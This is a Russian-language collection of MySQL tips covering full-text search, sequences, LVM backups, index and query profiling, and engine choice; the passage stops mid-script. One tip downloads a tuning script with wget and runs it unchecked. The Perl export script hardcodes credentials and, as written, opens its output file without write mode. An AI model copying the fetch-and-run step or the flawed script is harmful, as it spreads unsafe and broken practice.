     
    ----* Пример полнотекстового поиска в mySQL (доп. ссылка 1)   Автор: MEDBEDb  [обсудить]
     
    CREATE TABLE table (
                id INT UNSIGNED AUTO_INCREMENT NOT NULL PRIMARY KEY,
                column TEXT,
                FULLTEXT (column)
              );
    
    SELECT * FROM table WHERE MATCH (column) AGAINST ('информация');
     AGAINST ('форма содержание') - все выражения, содержащие хотя бы одно из слов.
     AGAINST ('+форма +содержание') - оба слова.
     AGAINST ('+форма содержание') - искать "форма", при "содержание" больший релевант.
     AGAINST ('+форма -содержание') - "форма" без "содержание".
     AGAINST ('форма*') - "форма", "формат", "формация"
     AGAINST ('"форма или содержание"') - жестко по фразе
    
     
    ----* Как в MySQL обеспечить правильную сортировку данных в кодировке cp1251.   [комментарии]
     
    MySQL должен быть собран с ключами:
       ./configure --with-charset=koi8_ru --with-extra-charsets=all
    Далее, сразу после каждого соединения с базой нужно использовать оператор:
        SET CHARACTER SET cp1251_koi8
    Если данные в cp1251 уже в базе, их нужно поместить в базу вновь.
    
     
    ----* Как сделать таблицу Exel из таблицы MySQL   Автор: Sergei A. Merkulov  [комментарии]
     
    #!/usr/local/bin/perl
    use DBI;
    $table = "table"; $db = "base"; $db_serv = "192.168.0.1"; $user = "ser"; $passwd = "ser";
    $c = DBI->connect("DBI:mysql:$db:$db_serv", $user, $passwd);
    $statement = "select count(*) from $table";
    $cc = $c->prepare($statement);
    $ccc = $cc->execute;
    @row = $cc->fetchrow_array;
    $n = $row[0];
    $statement = "select * from $table";
    $cc = $c->prepare($statement);
    $ccc = $cc->execute;
    open F, "$ARGV[0]";
    for ($i=0; $i<$n; $i++) {
      @row = $cc->fetchrow_array;
      print F "$row[0];$row[1];$row[3]\n";
    }
    Запускаем скрипт:
    ./mysql_2_exel.pl file
    После этого можно открыть файл 'file' экселем.
    
     
    ----* Как поместить время в формате Epoch в MySQL   [обсудить]
     
    from_unixtime(989493919)
    
     
    ----* Использование одного автоинкрементального счетчика для нескольких таблиц в MySQL (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Решение задачи сохранения единого для нескольких таблиц автоинкрементального счетчика. 
    
    Иными словами, как реализовать в MySQL аналог SEQUENCE в PostgreSQL, работающих примерно так:
    
       CREATE SEQUENCE next_contraсt start 1 increment 1 maxvalue 2147483647 minvalue 1 cache 1;
       CREATE TABLE contract (
        "id"  integer NOT NULL DEFAULT nextval('next_contraсt') PRIMARY KEY,
       ...
       );
    
    
    Метод 1. 
    
    Создаем таблицу:
    
       CREATE TABLE option1 (id int not null primary key auto_increment) engine=innodb;
    
    При необходимости получения очередного номера счетчика выполняем (фиктивная
    вставка данных, необходимая для срабатывания auto_increment):
    
       INSERT INTO option1 VALUES (NULL);
    
    Получаем текущее значение идентификатора через API-вызов $connection->insert_id(), например, в PHP:
    
       $last_id = mysql_insert_id();
    
    
    Метод 2:
    
    Создаем таблицу из одного столбца:
    
       CREATE TABLE option2 (id int not null primary key) engine=innodb;
    
    Инициализируем первое значение:
    
       INSERT INTO option2 VALUES (1); # начинаем последовательность с 1
    
    Для получения очередного значения счетчика выполняем:
    
       UPDATE option2 SET id=@id:=id+1;
       SELECT @id;
    
    По производительности первый метод заметно быстрее второго:
    
       Метод 1 с использованием транзакций: 19 сек на выполнение 10000 итераций
       Метод 1 без использования транзакций: 13 сек на выполнение 10000 итераций
       Метод 2 с использованием транзакций: 27 сек на выполнение 10000 итераций
       Метод 2 без использования транзакций: 22 сек на выполнение 10000 итераций
    
    Метод 3.
    
    Использовать функцию LAST_INSERT_ID(), которая возвращает последний
    сгенерированный через AUTO_INCREMENT на сервере идентификатор.
    
       UPDATE option3 SET id = LAST_INSERT_ID(id+1);
    
    Метод 4.
    
    Использование хранимых процедур и триггеров.
    
    Создаем таблицу sequences для хранения счетчика и функцию  nextval('seqname')
    для возвращения следующего номера:
    
       CREATE TABLE IF NOT EXISTS sequences
       (name CHAR(20) PRIMARY KEY,
       val INT UNSIGNED);
    
       DROP FUNCTION IF EXISTS nextval;
    
       DELIMITER //
    
       CREATE FUNCTION nextval (seqname CHAR(20))
       RETURNS INT UNSIGNED
       BEGIN
       INSERT INTO sequences VALUES (seqname,LAST_INSERT_ID(1))
       ON DUPLICATE KEY UPDATE val=LAST_INSERT_ID(val+1);
       RETURN LAST_INSERT_ID();
       END
       //
    
       DELIMITER ;
    
    Создаем тестовую таблицу data для последующего подключения генератора последовательности:
    
       CREATE TABLE IF NOT EXISTS data
       (id int UNSIGNED NOT NULL PRIMARY KEY DEFAULT 0,
       info VARCHAR(50));
    
    Создаем триггер для автоматизации инкрементирования счетчика в таблице data:
    
       DROP TRIGGER nextval;
       CREATE TRIGGER nextval BEFORE INSERT ON data
       FOR EACH ROW SET new.id=IF(new.id=0,nextval('data'),new.id);
       TRUNCATE TABLE data;
    
    Экспериментируем:
    
       INSERT INTO data (info) VALUES ('bla');
       INSERT INTO data (info) VALUES ('foo'),('bar');
       SELECT * FROM data;
    
       +----+------+
       | id | info |
       +----+------+
       |  1 | bla  |
       |  2 | foo  |
       |  3 | bar  |
       +----+------+
    
     
    ----* насчет "Как ограничить число элементов выдаваемых SELECT в MySQL"   Автор: Vovik Alyekhin  [обсудить]
     
    параметры limit действуют с точностью до наоборот.
    первый параметр с какой записи, а второй сколько.
    По крайней мере для mysql.
    MC: Интересно, для PostgreSQL: "LIMIT { count | ALL } [ { OFFSET | , } start ]]"
    
     

       Оптимизация и администрирование MySQL

    ----* Частичное восстановление данных MySQL из бэкапа, созданного с использованием LVM (доп. ссылка 1)   Автор: Андрей Татаранович  [комментарии]
     
    Я не буду описывать процесс создания резервной копии MySQL с применением
    менеджера томов LVM. В интернете хватает описаний этой методики. Предположим у
    вас уже есть бэкап, который содержит бинарные файлы баз данных. В моем случае
    они хранятся на выделенном сервере. Использование бинарных файлов позволяет
    быстро восстановить все базы на момент создания резервной копии, но вот что
    делать если нужно восстановить только часть баз или только одну, или же только
    пару таблиц или несколько удаленных записей из таблиц?
    
    Конечно можно поднять отдельный MySQL сервер на другом сервере, скопировать
    туда бэкап и после запуска вытащить из него нужные данные посредством
    mysqldump. Но что делать, если другого сервера нет или версия MySQL сервера
    содержит патчи, которые делают резервную копию несовместимой с дистрибутивной
    версией? Я постараюсь дать одно из возможных решений этой проблемы.
    
    В своем способе я также буду запускать отдельную копию MySQL сервера, но
    основная идея заключается в том, чтобы не копировать данные из бэкапа, а
    примонтировать их через сеть. Я буду использовать sshfs для этих целей. Чтобы
    при запуске второго сервера не изменились данные в бэкапе я применю оверлей на
    базе AUFS. Одна из его частей будет примонтированным бэкапом, а вторая -
    хранить все изменения относительно бэкапа. Таким образом я избегаю любых
    модификаций резервной копии.
    
       # mkdir /mnt/mysql-{backup,datadir,tmp}
       # sshfs root@backup.server:/backup/mysql-server /mnt/mysql-backup
       # mount -t aufs none /mnt/mysql-datadir -o dirs=/mnt/mysql-tmp:/mnt/mysql-backup=ro
       # mysqld_safe --defaults-file=/root/mysql-backup-restore.cnf
    
    /root/mysql-backup-restore.cnf - конфигурация для второго сервера, которую я
    сделал на базе конфига из дистрибутива.
    
       [mysqld]
       user=root
       pid-file        = /root/mysql-restore.pid
       socket          = /root/mysql-restore.sock
       basedir         = /usr
       datadir         = /mnt/mysql-datadir
       tmpdir          = /tmp
       language        = /usr/share/mysql/english
       skip-networking
       skip-external-locking
       key_buffer              = 16M
       max_allowed_packet      = 16M
       thread_stack            = 192K
       thread_cache_size       = 8
       myisam-recover         = BACKUP
       query_cache_limit       = 1M
       query_cache_size        = 16M
       expire_logs_days        = 10
       max_binlog_size         = 100M
       
       [mysqldump]
       quick
       quote-names
       max_allowed_packet      = 16M
       
       [isamchk]
       key_buffer              = 16M
       
       !includedir /etc/mysql/conf.d/
    
    После запуска вторая копия MySQL сервера доступна только через сокет
    /root/mysql-restore.sock, чем позволяет исключить посторонний доступ на время
    восстановления данных. Чтобы подключиться к запущенному серверу, нужно явно
    указать сокет:
    
       # mysql -S /root/mysql-restore.sock
       # mysqldump -S /root/mysql-restore.sock --add-drop-table dbname table1 table2 > dbrestore.sql
    
    После того, как данные сняты посредством mysqldump нужно остановить вторую
    копию сервера. Для этого нужно выполнить:
    
       # mysqladmin -S /root/mysql-restore.sock shutdown
    
    Когда дополнительный сервер остановится можно отмонтировать /mnt/mysql-datadir
    и /mnt/mysql-backup, и удалить директории /mnt/mysql-{backup,datadir,tmp}
    
    Несомненным преимуществом такого подхода является время, которое тратится на
    частичное восстановление резервной копии. Из недостатков пожалуй отсутствие
    sshfs и aufs во многих дистрибутивах (для centos я так и не смог найти пакета
    для добавления поддержки aufs). Возможно его следует заменить на любую другую
    реализацию union fs, но я это делать не пробовал.
    
     
    ----* Рекомендации по оптимальному использованию типов данных в MySQL   Автор: gara  [комментарии]
     
    Материал основан на рекомендациях, данных в книге "MySQL Оптимизация
    производительности", в которой подробно рассказано почему каждая рекомендация
    работает так, а не иначе. В заметке лишь приведены ключевые моменты, в стиле
    "Делайте так!". Все нижесказанное будет относиться к MySQL 5.1 и выше. Движок
    InnoDB. Для MyISAM также верно почти все нижесказанное.
    
    Прежде чем говорить о типах, рекомендация относительно NULL/ NOT
    NULL. Наличие флага NULL, увеличивает объем данных при хранении на диске.
    И немного нагружает индексы. Определяйте типы полей как NOT NULL, и указывайте
    DEFAULT VALUE. Большой выигрыш в производительности это не даст, но как
    говорится "Копейка рубль бережет".
    
    UUID  - удалите тире или преобразуйте в 16 байтовые числа UNHEX() и
    сохранить в столбце BIN(16). Извлекать данные в шестнадцатеричном формате можно
    с помощью MySQL функции HEX().
    
    IP адреса лучше всего хранить как UNSIGNED INT. И использовать MySQL
    функции INET_ATON() и INET_NTOA()
    
    Итак, наиболее часто  используются типы int, varchar/char, date/time, enum.
    
    
    Выбор оптимальных типов данных.
    
    1. INT -  все понятно, ничего интересного.
    
    2. CHAR / VARCHAR
    VARCHAR имеет переменную длину в файле. Занимает столько места сколько записано
    данных. При UPDATE если данных стало больше - выделяется место в другом месте
    файла. Это создает дополнительную нагрузку и является причиной фрагментации.
    Используйте VARCHAR если данные обновляются редко, либо используется сложная
    кодировка, например UTF-8. Идеально для хранения неизменяемых данных.
    
    CHAR  имеет фиксированную длину в файле. Фрагментация ему не страшна. CHAR
    полезен когда нужно хранить короткие строки приблизительно одинаковой длинны.
    Частое обновление не ведет к фрагментации. Идеален для хранение MD5 (CHAR(32)).
    
    Старайтесь использовать CHAR, сортировка по такому полю обходится сильно "дешевле". 
    
    3. DATETIME / TIMESTAMP - Используйте TIMESTAMP, он занимает на диске меньше места.
    
    4. ENUM 
    При создании таблицы:
       
       CREATE TABLE enum_test ( e ENUM('fish','dog','apple') NOT NULL);
    
    создается справочник-индекс в *.frm файле. И при последующих  INSERT/UPDATE в
    базу записывается номер(индекс) ENUM поля.
    
       INSERT INTO enum_test(e) VALUES ('fish'),('dog'),('apple');
       SELECT e + 0 FROM enum_test;
    
    вернет
    
       1
       3
       2
    
    И сортировка происходит (сюрприз) по этим целочисленным значениям :)
    
       SELECT e FROM enum_test ORDER BY e;
    
       fish
       apple
       dog
    
    Обойти это неудобство можно используя FIELD().
    
    Не используйте JOIN между CHAR/VARCHAR и ENUM.
    
     
    ----* Отладка долго выполняющихся транзакций в MySQL (доп. ссылка 1)   [комментарии]
     
    Включение лога долго выполняющихся запросов в MySQL (настройка
    log-slow-queries) не спасает при необходимости выявления транзакций,
    находящихся длительное время в незакрытом состоянии. Транзакции, внутри которых
    были изменены данные, но которые остаются висеть без коммита, достаточно трудно
    выявить и сопоставить с источником (в списке активных запросов по "SHOW
    PROCESSLIST" они не видны), в то время как они могут привести к разнообразным
    проблемам с блокировками и неудачному завершению других операций после
    истечения таймаута.
    
    Для отладки проблемы обычно определяют какая из транзакция блокирует остальные.
    Затем, определяется TCP-порт для проблемного соединения, запускается сниффер и
    используется утилита mk-query-digest для создания лога выполняемых запросов.
    
    В MySQL 5.1, при использовании InnoDB plugin, блокирующую транзакцию выявить
    значительно проще - поддерживаются специальные INFORMATION_SCHEMA таблицы,
    запросив которые можно определить идентификатор нити, обрабатывающей висящую
    транзакцию, после чего найти этот идентификатор в выводе "SHOW PROCESSLIST" и
    увидеть имя хоста и номер порта инициатора проблемы.
    
    В более ранних ветках MySQL и во встроенном движке  InnoDB (не InnoDB plugin)
    найти проблемное сетевое соединение не так просто, можно лишь субъективно
    оценить вывод "SHOW INNODB STATUS", выбрав старейшую транзакцию, находящуюся в
    статусе ожидания или блокировки. Иногда таким образом удается угадать
    проблемную транзакцию, а иногда - нет.
    
    Чтобы автоматизировать выявление проблемных транзакций написан небольшой
    скрипт, который запускается каждые 30 секунд, смотрит статус и находит
    проблемные позиции в списке. Для проблемных транзакций выявляется номер порта,
    запускается сниффер и сохраняется лог.
    
       #!/bin/bash
    
       # Begin by deleting things more than 7 days old
       find /root/tcpdumps/ -type f -mtime +7 -exec rm -f '{}' \;
    
       # Bail out if the disk is more than this %full.
       PCT_THRESHOLD=95
       # Bail out if the disk has less than this many MB free.
       MB_THRESHOLD=100
       # Make sure the disk isn't getting too full.
       avail=$(df -m -P /root/tcpdumps/ | awk '/^\//{print $4}');
       full=$(df -m -P /root/tcpdumps/ | awk '/^\//{print $5}' | sed -e 's/%//g');
       if [ "${avail}" -le "${MB_THRESHOLD}" -o "${full}" -ge "${PCT_THRESHOLD}" ]; then
          echo "Exiting, not enough free space (${full}%, ${avail}MB free)">&2
          exit 1
       fi
    
       host=$(mysql -ss -e 'SELECT p.HOST FROM information_schema.innodb_lock_waits w INNER JOIN
          information_schema.innodb_trx b ON b.trx_id = w.blocking_trx_id INNER JOIN information_schema.processlist p 
          on b.trx_mysql_thread_id = p.ID LIMIT 1')
    
       if [ "${host}" ]; then
          echo "Host ${host} is blocking"
          port=$(echo ${host} | cut -d: -f2)
          tcpdump -i eth0 -s 65535 -x -nn -q -tttt port 3306 and port ${port} > /root/tcpdumps/`date +%s`.tcpdump &
          mysql -e 'show innodb status\Gshow full processlist' > /root/tcpdumps/`date +%s`.innodbstatus
          pid=$!
          sleep 30
          kill ${pid}
       fi
    
    
    Посмотрев лог ".innodbstatus" и убедившись, что это не ложное срабатывание,
    проанализировать активность связанного с незакрываемой транзакцией соединения
    можно выполнив команду:
    
      mk-query-digest --type=tcpdump --no-report --print файл.tcpdump
    
    В  mk-query-digest также удобно использовать опцию --timeline, отображающую
    последовательность запросов в наглядном виде. Утилита mk-query-digest
    поставляется в пакете maatkit.
    
     
    ----* Расширенный анализ эффективности индексов в MySQL (доп. ссылка 1)   [комментарии]
     
    Для детального анализа особенностей использования индексов в MySQL удобно
    использовать утилиту mk-index-usage, входящую в пакет Maatkit (написан на
    языке Perl). По умолчанию утилита выявляет неиспользуемые индексы и предлагает
    готовые конструкции ALTER для их удаления.
    
    Дополнительно утилита может сохранять накопленную статистику по использованию
    индексов при реальной рабочей нагрузке и сохранять ее в виде SQL-таблиц для
    последующего анализа. В качестве источника используется лог запросов,
    включаемых опцией log-slow-queries или general_log.
    
    Простейший формат вызова выглядит как:
    
      mk-index-usage slow.log --host localhost
    
    При этом утилита построит детальный отчет на основе выполнения EXPLAIN-операции
    для каждого фигурирующего в логе запроса. Так как это достаточно ресурсоемкая
    операция, рекомендуется запустить на отдельной машине тестовый MySQL-сервер,
    перенести туда дамп анализируемой базы и лог медленных запросов, после чего
    выполнять анализ не на первичном сервере, а на его копии:
    
       mk-index-usage -h 127.0.0.1 -P 9999 -p XXXX slow_query.log \
      --save-results-database h=127.0.0.1,P=12345,u=msandbox,p=msandbox,D=index_usage \
      --create-save-results-database
    
    В данном случае параметр "--save-results-database" определяет в какую базу
    сохранять результаты анализа.
    
    После выполнения указанной команды в базе index_usage появятся следующие таблицы:
    
       mysql> show tables;
    
       | index_alternatives    |
       | index_usage           |
       | indexes               |
       | queries               |
       | tables                |
    
    Несколько примеров просмотра статистики.
    
    Посмотрим какие запросы используют время от времени используют разные индексы и
    как выбранный индекс коррелирует с временем выполнения запроса:
    
       SELECT  iu.query_id, CONCAT_WS('.', iu.db, iu.tbl, iu.idx) AS idx,
          variations, iu.cnt, iu.cnt / total_cnt * 100 AS pct
         FROM index_usage AS iu
        INNER JOIN (
           SELECT query_id, db, tbl, SUM(cnt) AS total_cnt,
             COUNT(*) AS variations
           FROM index_usage
           GROUP BY query_id, db, tbl
           HAVING COUNT(*) > 1
        ) AS qv USING(query_id, db, tbl);
    
       | query_id   |   | variations  | cnt | pct |
       | 7675136724153707161 | mpb_wordpress.wp_posts.post_status |  2  |  18 | 97.5871 |
       | 7675136724153707161  mpb_wordpress.wp_posts.type_status_date | 2 |  728 | 2.4129 |
       ....
    
    В первой строке указано, что запрос с идентификатором 7675136724153707161 имеет
    два варианта использования индексов. Первый вариант использует индекс
    mpb_wordpress.wp_posts.post_status в 97% случаев, второй - индекс
    mpb_wordpress.wp_posts.type_status_date в 2% случаев.
    
    
    Посмотрим что из себя представляет запрос 7675136724153707161:
    
       mysql> select * from queries where query_id = 7675136724153707161\G
    
       query_id: 7675136724153707161
       fingerprint: select * from wp_comments where comment_post_id = ? and comment_type not regexp ? and comment_approved = ?
         sample: SELECT * FROM wp_comments WHERE comment_post_ID = 2257 AND
       comment_type NOT REGEXP '^(trackback|pingback)$' AND comment_approved = '1'
       1 row in set (0.00 sec)
    
    
    Теперь посмотрим для каких индексов имеется большое число альтернатив, какие
    индексы вызываются вместо других и при каких запросах:
    
       mysql>  SELECT CONCAT_WS('.', db, tbl, idx) AS idx,
             GROUP_CONCAT(alt_idx) AS alternatives,
             GROUP_CONCAT(DISTINCT query_id) AS queries, SUM(cnt) AS cnt
          FROM index_alternatives
          GROUP BY db, tbl, idx
          HAVING COUNT(*) > 1 limit 2;
    
       | idx                 | alternatives | queries | cnt  |
    
       | mpb_forum.f.PRIMARY | fud26_forum_i_c,fud26_forum_i_c,fud26_forum_i_lpi | 6095451542512376951,11680437198542055892 | 20 |
    
       | mpb_forum.fud26_msg.fud26_msg_i_ta | PRIMARY,fud26_msg_i_a | 5971938384822841613 |  2 |
    
    Как видно первичные ключи преобладают над некоторыми индексами.
    
    
    Некоторые другие утилиты из пакета Maatkit:
    
    mk-archiver - архивирование строк из таблицы MySQL в другую таблицу или в файл;
    
    mk-deadlock-logger - выявление и сохранение информации о взаимных блокировках;
    
    mk-duplicate-key-checker - поиск дублирующихся индексов и внешних ключей;
    
    mk-find - аналог утилиты find для выполнения поиска по таблицам и выполнения
    действий над результатами;
    
    mk-heartbeat - мониторинг задержки при выполнении репликации;
    
    mk-kill - удаляет запросы, соответствующие определенным критериям;
    
    mk-loadavg - следит за нагрузкой на базу и выполняет указанные действия при обнаружении перегрузки;
    
    mk-log-player - позволяет повторно выполнить запросы из лога;
    
    mk-parallel-dump/mk-parallel-restore - создание и восстановление дампа таблиц в
    параллельном режиме;
    
    mk-purge-logs - чистит бинарный лог в соответствии с заданными правилами;
    
    mk-query-advisor - анализирует запросы и выявляет возможные проблемы;
    
    mk-query-digest - парсит лог и анализирует, фильтрует и преобразует запросы в
    логе, формируя в итоге полезный суммарный отчет;
    
    mk-query-profiler - выполняет SQL-запросы и выводит статистику или измеряет
    активность других процессов;
    
    mk-table-checksum - генерация контрольных сумм с целью проверки целостности реплицированных данных;
    
    mk-table-sync - эффективная синхронизация содержимого нескольких таблиц;
    
    mk-upgrade - запускает запрос одновременно на нескольких серверах и проверяет идентичность ответов;
    
                
    mk-variable-advisor - анализирует переменные MySQL и выявляет возможные проблемы;
    
    mk-visual-explain - выводит результат выполнения EXPLAIN-запроса в древовидном виде.
    
     
    ----* Профилирование запросов в MySQL (доп. ссылка 1)   Автор: Василий Лукьянчиков  [комментарии]
     
    Начиная с версии 5.0.37 в MySQL Community Server появился удобный инструмент
    для профилирования запросов - директивы "SHOW PROFILES" и "SHOW PROFILE".
    
    Директива "SHOW PROFILES" показывает список запросов, выполненных в рамках
    текущей сессии и время выполнения каждого запроса. Число отображаемых запросов
    определяется переменной сессии profiling_history_size, которая имеет значение
    по умолчанию 15, максимальное 100. В список попадают все запросы кроме "SHOW
    PROFILES" и "SHOW PROFILE", включая синтаксически неверные. Профилирование
    действует в течении сессии. По завершении сессии информация профайлинга теряется.
    
    Включаем профилирование:
    
       mysql> set profiling=1;
       Query OK, 0 rows affected (0.00 sec)
    
    Через некоторое время смотрим результат:
    
       mysql> show profiles;
       | Query_ID | Duration   | Query
       | 2        | 0.00010300 | create table a1 (id int not null auto_increment)
       ...
    
    Директива "SHOW PROFILE" показывает подробную информацию об этапах выполнения
    отдельного запроса. По умолчанию, выводится информация о последнем запросе. Для
    указания на конкретный запрос используется опция FOR QUERY n, где значение n
    соответствует значению Query_ID из списка, формируемого директивой "SHOW PROFILES".
    
       mysql> show profile for QUERY 2;
       | Status               | Duration |
       | (initialization)     | 0.000039 |
       | checking permissions | 0.00004  |
       | creating table       | 0.004034 |
       | After create         | 0.000294 |
       | query end            | 0.000009 |
       | freeing items        | 0.000012 |
       | logging slow query   | 0.000004 |
    
    где Status - состояние потока, а Duration - время выполнения в секундах.
    
    Информацию, аналогичную результату работы "SHOW PROFILE", можно получить из
    таблицы PROFILING базы INFORMATION_SCHEMA. Например, следующие команды являются эквивалентными:
    
       SHOW PROFILE FOR QUERY 2;
    
       SELECT STATE, FORMAT(DURATION, 6) AS DURATION FROM INFORMATION_SCHEMA.PROFILING WHERE QUERY_ID = 2;
    
    
    Ссылки
    
    Подробное описание синтаксиса с указанием всех возможных опций:
      http://dev.mysql.com/doc/refman/5.0/en/show-profiles.html
    Пример использования профайлинга для оптимизации сложных запросов: 
      http://dev.mysql.com/tech-resources/articles/using-new-query-profiler.html
    
     
    ----* Резервное копирование MySQL с использованием LVM снапшотов в Debian Linux (доп. ссылка 1)   [комментарии]
     
    Утилита mylvmbackup (http://lenz.homelinux.org/mylvmbackup/) позволяет
    автоматизировать создание резервных копий БД MySQL с минимальным временем
    простоя базы. Процесс создания бэкапа состоит из следующих фаз: установка
    блокировки на таблицы, инициирование сброса кэшей на диск, создание LVM
    снапшота директории с MySQL таблицами, снятие блокировки. Так как время
    создания снапшота очень мало, простой базы сводится к минимуму при полном
    сохранении целостности.
    
    Пример использования утилиты для системы на которой уже работает MySQL,
    директория с БД (/var/lib/mysql) размещена на LVM разделе и в системе доступен
    раздел /dev/sdb на котором достаточно для создания временных LVM снапшотов.
    
       # df -h
       ...
       /dev/mapper/server1-mysql  8.9G  170M  8.3G   2% /var/lib/mysql
    
    Имя LVM группы server1, имя раздела с данными MySQL - mysql.
    
       # pvdisplay
       --- Physical volume ---
       PV Name               /dev/sda5
       VG Name               server1
       PV Size               29.52 GB / not usable 3.66 MB
       ...
     
       # vgdisplay
      --- Volume group ---
      VG Name               server1
      System ID
      Format                lvm2
      ...
    
       # lvdisplay
      --- Logical volume ---
      LV Name                /dev/server1/mysql
      VG Name                server1
      ...
    
    Диск /dev/sdb имеет один раздел /dev/sdb1, занимающий все пространство диска.
    Подключаем его к имеющемуся LVM группе server1 с целью увеличения свободного
    места, которое потребуется для работы со снапшотами. Дополнительные LVM разделы
    создавать не нужно.
    
       # pvcreate /dev/sdb1
       # vgextend server1 /dev/sdb1
    
    Устанавливаем пакет mylvmbackup:
    
       # aptitude install mylvmbackup
    
    Изучаем руководство по mylvmbackup и при необходимости меняем файл конфигурации
    /etc/mylvmbackup.conf под свои нужды:
    
       $ man mylvmbackup
    
    
    По умолчанию бэкапы будут сохраняться в директорию /var/cache/mylvmbackup/backup.
    
    Простейшая команда для создание резервной копии (параметры можно указать в
    файле конфигурации) MyISAM таблиц:
    
       mylvmbackup --user=root --password=пароль --mycnf=/etc/mysql/my.cnf \
          --vgname=server1 --lvname=mysql --backuptype=tar
    
    Пример для InnoDB таблиц:
    
       mylvmbackup --user=root --password=пароль --innodb_recover --skip_flush_tables \
          --mycnf=/etc/mysql/my.cnf --vgname=server1 --lvname=mysql --backuptype=tar
    
    В опции --vgname указываем имя LVM группы, а в опции --lvname имя LVM раздела с данными.
    
    
    После выполнения команды проверяем корректность создания резервной копии:
    
       ls -l /var/cache/mylvmbackup/backup
    
       -rw-r--r-- 1 root root 246847 2010-01-27 19:17 backup-20100127_191658_mysql.tar.gz
    
    В созданном  tar.gz файле находятся две директории: 
    
    backup с архивом таблиц, который можно просто распаковать в рабочую директорию
    /var/lib/mysql при проведении восстановления данных.
    backup-pos с копией файла конфигурации my.cnf.
    
     
    ----* Как уменьшить время завершения работы СУБД MySQL при использовании InnoDB  (доп. ссылка 1)   [комментарии]
     
    Иногда для завершения работы MySQL сервера с таблицами в формате InnoDB
    требуется слишком много времени,
    из-за необходимости сброса всех буферов. Если процесс завершить принудительно,
    то данные не потеряются,
    но при следующем запуске будет инициирован значительно более долгий процесс
    восстановления из лога транзакций.
    
    Один из способов минимизировать время завершения сервера, за какое-то время
    перед выключением MySQL
    включить функцию предварительного сброса буферов:
    
          mysql> set global innodb_max_dirty_pages_pct = 0;
    
    Далее периодически смотрим объем не сброшенных буферов: 
    
          $ mysqladmin ext -i10 | grep dirty
    
          | Innodb_buffer_pool_pages_dirty    | 1823484        |
          ...  
          | Innodb_buffer_pool_pages_dirty    | 1821293        |
          ...
          | Innodb_buffer_pool_pages_dirty    | 1818938        |
    
    Дожидаемся когда значение Innodb_buffer_pool_pages_dirty приблизится к нулю и
    выполняем процесс завершения работы,
    сведя время простоя сервера к минимуму.
    
     
    ----* Выбор типа хранилища MySQL: MyISAM или Innodb ? (доп. ссылка 1) (доп. ссылка 2)   Автор: Matt Yonkovit  [комментарии]
     
    Если вы создаете БД по обстоятельствам и не уверены как база будет
    использоваться, выбирайте Innodb.
    Innodb следует использовать:
    Когда взаимодействие с базой имеет характер OLTP (http://ru.wikipedia.org/wiki/OLTP)
    Когда требуются транзакции.
    Когда нужна высокая надежность хранения и быстрое восстановление после сбоя.
    Innodb хорошо справляется со смешанной нагрузкой (select/update/delete/insert).
    
    Минусы Innodb: 
    могут возникать deadlock, не свойственные MyISAM;
    Медленнее выполняются insert операции и работа с блобами; 
    Не поддерживается полнотекстовый поиск;
    Проблемы с производительностью COUNT(*);
    Для  Innodb нет поддержки mysqlhotcopy;
    
    
    
    
    С MyISAM есть одна нехорошая проблема, таблица может на ровном месте отказаться
    работать до выполнения REPAIR TABLE.
    Случается такое крайне редко, но и этого хватает. Пример: http://blog.lexa.ru/2008/10/05/vash_mysql___to_esche_g.html
    Поэтому с для MyISAM рекомендуется организовать периодический запуск mysqlcheck через cron.
    
    Из-за особенности организации блокировки (в MyISAM блокировка на уровне
    таблицы, в Innodb - на уровне строк),
    MyISAM имеет смысл использовать, когда преобладают операции insert или select,
    но крайне мало delete или update.
    Когда можно обойтись без транзакций.
    Когда выполняются запросы, характерные для OLAP 
    (http://ru.wikipedia.org/wiki/OLAP)
    Когда таблица используется для хранения  лога (поддержка конкурирующих insert);
    Когда много запросов вида Select count(*).
    Когда нужно задействовать средства полнотекстового поиска.
    
    
    Такие альтернативные хранилища, как PBXT, Innodb plugin, XtraDB, Maria, Falcon,
    еще находятся на стадии разработки и
    имеют экспериментальный характер.
    
     
    ----* Временное ведение лога всех запросов к MySQL (доп. ссылка 1)   [комментарии]
     
    Использование опций конфигурации log-slow-queries и general_log, позволяющих вести полный лог 
    медленных или всех запросов, требует перезапуска mysql для включения или выключения ведения логов, 
    что неудобно в ситуации, когда нужно проанализировать запросы только в текущий момент.
    Для анализа запросов (не через локальный сокет) на лету можно воспользоваться сетевым сниффером.
    
    Перехватываем и записываем срез трафика MySQL в файл:
    
       tcpdump -i eth0 port 3306 -s 1500 -w tcpdump.out
    
    Выделяем из дампа SQL запросы, используя утилиту tshark из комплекта сниффера
    Wireshark (http://www.wireshark.org/):
    
       tshark -r tcpdump.out -d tcp.port==3306,mysql -T fields -e mysql.query > query_log.out
    
    Удаляем из полученного лога пустые и неинформативные строки:
    
       cat query_log.out | grep -vE "^(commit.*|autocommit.*|rollback.*|)$" | awk '{print $0 ";"}' > query_log_no_blank.out
    
    Полученный лог удобно анализировать утилитой mysqlsla (http://hackmysql.com/mysqlsla)
    
     
    ----* Автоматический тюнинг MySQL сервера при помощи ПО MySQLTuner  (доп. ссылка 1)   [комментарии]
     
    MySQLTuner (http://rackerhacker.com/mysqltuner/) представляет собой Perl скрипт, 
    анализирующий статистику работы MySQL сервера и на ее основе дающий
    рекомендации по оптимизации настойки СУБД.
    
    Загружаем и выполняем скрипт:
      wget http://mysqltuner.com/mysqltuner.pl
      chmod +x mysqltuner.pl
      ./mysqltuner.pl
    
    Вводим логин и пароль для подключения к MySQL, после чего скрипт выводит наиболее интересные 
    параметры статистики работы СУБД и рекомендации по тюнингу настроек, примерно в таком виде:
    
    
    General recommendations:
        Add skip-innodb to MySQL configuration to disable InnoDB
        Add skip-isam to MySQL configuration to disable ISAM
        Run OPTIMIZE TABLE to defragment tables for better performance
        Enable the slow query log to troubleshoot bad queries
        When making adjustments, make tmp_table_size/max_heap_table_size equal
        Reduce your SELECT DISTINCT queries without LIMIT clauses
        Increase table_cache gradually to avoid file descriptor limits
        Your applications are not closing MySQL connections properly
    
    Variables to adjust:
        query_cache_size (> 16M)
        tmp_table_size (> 32M)
        max_heap_table_size (> 16M)
        table_cache (> 64)
    
     
    ----* Синхронизация master и slave MySQL, несмотря на конфликтные запросы   Автор: Dmitry Molchanov  [комментарии]
     
    Иногда возникает необходимость догнать мастер несмотря на конфликтные запросы из relay-лога.
    Вместо того чтобы, для разрешения конфликтов, вручную выполнять 2 команды 
    можно в крайних ситуациях использовать скрипт:
    
    #!/bin/sh
    
    n=1
    until [ $n = "0" ];do 
       n=`mysql -Be 'show slave status \G' | grep Seconds_Behind_Master| cut -f2 -d: | tr -d " "`
       echo $n; 
       if [ $n = "NULL" ]; then 
